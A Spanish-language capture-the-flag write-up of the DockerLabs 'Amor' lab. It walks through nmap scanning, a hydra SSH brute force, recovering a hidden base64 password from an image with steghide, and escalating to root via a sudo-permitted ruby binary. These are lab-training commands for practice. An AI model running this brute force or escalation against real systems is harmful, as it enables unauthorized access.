Maquina Amor
- OS: Linux
- Plataforma: DockerLabs
- Nivel: Easy
- Tags: #hydra #bruteforce #dockerlabs #esteganografia
Reconocimiento¶
Comenzamos con un escaneo con nmap para ver los puertos abiertos
nmap -p- -sS -Pn -n --min-rate 5000 -oN ports.txt 172.17.0.3
---------------------------------------------------------------
Nmap scan report for 172.17.0.3
Host is up (0.0000090s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 02:D1:20:12:D4:7B (Unknown)
- Puerto 80 HTTP y 22 SSH abiertos
Sobre los puertos abiertos realizo un segundo escaneo para detectar servicios, versiones y correr un conjunto de scripts de reconocimiento.
nmap -p 22,80 -Pn -n -sCV --min-rate 5000 -oN target.txt 172.17.0.3
--------------------------------------------------------------------
Nmap scan report for 172.17.0.3
Host is up (0.000055s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 7e:72:b6:8b:5f:7c:23:64:dc:15:21:32:5f:ce:40:0a (ECDSA)
|_ 256 05:8a:a7:27:0f:88:b9:70:84:ec:6d:33:dc:ce:09:6f (ED25519)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: SecurSEC S.L
MAC Address: 02:D1:20:12:D4:7B (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
- Puerto 22 SSH: OpenSSH 9.6p1 Ubuntu 3ubuntu13
- Puerto 80 HTTP: Apache httpd 2.4.58
Enumeracion¶
Puerto 80 Apache¶
Al parecer es una pagina web relacionada una empresa donde se publican noticias y otras cosas.
- Lo único resaltable es este anuncion donde se me indican 2 posibles usuarios, juan y carlota
Esa es prácticamente toda la informacion que nos da la web.
Explotación¶
Como no tengo mucha informacion y solo tengo 2 posibles usuarios opte por realizar un ataque de fuerza bruta usando hydra
- Probé con los 2 usuarios y finalmente fue el usuario carlota con el que conseguí credenciales validas.
- carlota:babygirl
> hydra -l carlota -P /usr/share/wordlists/rockyou.txt ssh://172.17.0.2 -t 10
------------------------------------------------------------------------------
[22][ssh] host: 172.17.0.3 login: carlota password: babygirl
Me conecto mediante SSH.
Escalada de Privilegios¶
Lo primero que veo es que existe una imagen.jpg en la ruta:
Por lo cual decidí bajármela la imagen en maquina.
> scp carlota@172.17.0.3:/home/carlota/Desktop/fotos/vacaciones/imagen.jpg /home/wndr/Machines/DockerLabs/amor
Decidí usar stgehide para ver posibles mensajes ocultos mediante esteganografía.
- Me extrajo un archivo llamado secret.txt que al parecer es un mensaje codificado en base64
> steghide --extract -sf imagen.jpg
> cat secret.txt
------------------------------------
ZXNsYWNhc2FkZXBpbnlwb24=
Decodifico el mensaje y veo que me regresa un texto.
> echo "ZXNsYWNhc2FkZXBpbnlwb24=" | base64 -d; echo
----------------------------------------------------
eslacasadepinypon
Supuse que el texto era alguna contraseña o algo asi, asi que decidí apuntar al archivo /etc/passwd para ver posibles usuarios disponibles.
Trate de migrar al usuario oscar con las credenciales encontradas y tuve éxito.
- oscar / eslacasadepinypon
Siendo el usuario oscar procedí a enumerar binarios que pudiera ejecutar como el usuario root
> sudo -l
-----------------------------------------------------------
User oscar may run the following commands on a15681e926ec:
(ALL) NOPASSWD: /usr/bin/ruby
- El binario
rubypuede ser ejecutado como cualquier usuario sin necesidad de contraseña
Con ayuda de GTFOBins abuso del binario y migro al usuario root.
> sudo -u root /usr/bin/ruby -e 'exec "/bin/bash"'
---------------------------------------------------------
root@a15681e926ec:/home/carlota/Desktop/fotos/vacaciones > whoami
root
PWNED

